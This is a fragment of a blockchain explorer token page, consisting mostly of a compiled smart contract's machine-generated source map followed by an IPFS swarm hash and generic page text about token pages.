:2;:16;;;4261:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;4334:19;4356:9;:15;4366:4;4356:15;;;;;;;;;;;;;;;;4334:37;;4405:6;4390:11;:21;;4382:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4492:6;4478:11;:20;;;;:::i;:::-;4460:9;:15;4470:4;4460:15;;;;;;;;;;;;;;;:38;;;;4541:6;4525:9;:13;4535:2;4525:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;4509:9;:13;4519:2;4509:13;;;;;;;;;;;;;;;:38;;;;4580:2;4565:26;;4574:4;4565:26;;;4584:6;4565:26;;;;;;:::i;:::-;;;;;;;;4175:424;4097:502;;;:::o;5233:445::-;5334:24;5361:25;5371:5;5378:7;5361:9;:25::i;:::-;5334:52;;5421:17;5401:16;:37;5397:274;;5460:25;:7;:23;;;:25::i;:::-;5455:205;;5534:6;5514:16;:26;;5506:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5593:51;5602:5;5609:7;5637:6;5618:16;:25;;;;:::i;:::-;5593:8;:51::i;:::-;5455:205;5397:274;5323:355;5233:445;;;:::o;213:315::-;278:4;322:198;350:97;463:46;322:12;:198::i;:::-;310:7;302:218;;;295:225;;213:315;;;:::o;85:98::-;143:7;174:1;170;:5;;;;:::i;:::-;163:12;;85:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:320;6143:6;6180:1;6174:4;6170:12;6160:22;;6227:1;6221:4;6217:12;6248:18;6238:81;;6304:4;6296:6;6292:17;6282:27;;6238:81;6366:2;6358:6;6355:14;6335:18;6332:38;6329:84;;6385:18;;:::i;:::-;6329:84;6150:269;6099:320;;;:::o;6425:182::-;6565:34;6561:1;6553:6;6549:14;6542:58;6425:182;:::o;6613:366::-;6755:3;6776:67;6840:2;6835:3;6776:67;:::i;:::-;6769:74;;6852:93;6941:3;6852:93;:::i;:::-;6970:2;6965:3;6961:12;6954:19;;6613:366;;;:::o;6985:419::-;7151:4;7189:2;7178:9;7174:18;7166:26;;7238:9;7232:4;7228:20;7224:1;7213:9;7209:17;7202:47;7266:131;7392:4;7266:131;:::i;:::-;7258:139;;6985:419;;;:::o;7410:180::-;7550:32;7546:1;7538:6;7534:14;7527:56;7410:180;:::o;7596:366::-;7738:3;7759:67;7823:2;7818:3;7759:67;:::i;:::-;7752:74;;7835:93;7924:3;7835:93;:::i;:::-;7953:2;7948:3;7944:12;7937:19;;7596:366;;;:::o;7968:419::-;8134:4;8172:2;8161:9;8157:18;8149:26;;8221:9;8215:4;8211:20;8207:1;8196:9;8192:17;8185:47;8249:131;8375:4;8249:131;:::i;:::-;8241:139;;7968:419;;;:::o;8393:220::-;8533:34;8529:1;8521:6;8517:14;8510:58;8602:3;8597:2;8589:6;8585:15;8578:28;8393:220;:::o;8619:366::-;8761:3;8782:67;8846:2;8841:3;8782:67;:::i;:::-;8775:74;;8858:93;8947:3;8858:93;:::i;:::-;8976:2;8971:3;8967:12;8960:19;;8619:366;;;:::o;8991:419::-;9157:4;9195:2;9184:9;9180:18;9172:26;;9244:9;9238:4;9234:20;9230:1;9219:9;9215:17;9208:47;9272:131;9398:4;9272:131;:::i;:::-;9264:139;;8991:419;;;:::o;9416:181::-;9556:33;9552:1;9544:6;9540:14;9533:57;9416:181;:::o;9603:366::-;9745:3;9766:67;9830:2;9825:3;9766:67;:::i;:::-;9759:74;;9842:93;9931:3;9842:93;:::i;:::-;9960:2;9955:3;9951:12;9944:19;;9603:366;;;:::o;9975:419::-;10141:4;10179:2;10168:9;10164:18;10156:26;;10228:9;10222:4;10218:20;10214:1;10203:9;10199:17;10192:47;10256:131;10382:4;10256:131;:::i;:::-;10248:139;;9975:419;;;:::o;10400:181::-;10540:33;10536:1;10528:6;10524:14;10517:57;10400:181;:::o;10587:366::-;10729:3;10750:67;10814:2;10809:3;10750:67;:::i;:::-;10743:74;;10826:93;10915:3;10826:93;:::i;:::-;10944:2;10939:3;10935:12;10928:19;;10587:366;;;:::o;10959:419::-;11125:4;11163:2;11152:9;11148:18;11140:26;;11212:9;11206:4;11202:20;11198:1;11187:9;11183:17;11176:47;11240:131;11366:4;11240:131;:::i;:::-;11232:139;;10959:419;;;:::o;11384:180::-;11432:77;11429:1;11422:88;11529:4;11526:1;11519:15;11553:4;11550:1;11543:15;11570:194;11610:4;11630:20;11648:1;11630:20;:::i;:::-;11625:25;;11664:20;11682:1;11664:20;:::i;:::-;11659:25;;11708:1;11705;11701:9;11693:17;;11732:1;11726:4;11723:11;11720:37;;;11737:18;;:::i;:::-;11720:37;11570:194;;;;:::o;11770:191::-;11810:3;11829:20;11847:1;11829:20;:::i;:::-;11824:25;;11863:20;11881:1;11863:20;:::i;:::-;11858:25;;11906:1;11903;11899:9;11892:16;;11927:3;11924:1;11921:10;11918:36;;;11934:18;;:::i;:::-;11918:36;11770:191;;;;:::o;11967:179::-;12107:31;12103:1;12095:6;12091:14;12084:55;11967:179;:::o;12152:366::-;12294:3;12315:67;12379:2;12374:3;12315:67;:::i;:::-;12308:74;;12391:93;12480:3;12391:93;:::i;:::-;12509:2;12504:3;12500:12;12493:19;;12152:366;;;:::o;12524:419::-;12690:4;12728:2;12717:9;12713:18;12705:26;;12777:9;12771:4;12767:20;12763:1;12752:9;12748:17;12741:47;12805:131;12931:4;12805:131;:::i;:::-;12797:139;;12524:419;;;:::o

Swarm Source

ipfs://0150e7523da93560542510697bedacad0a5bfeef45bab1d55f2eedc3d078abf9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.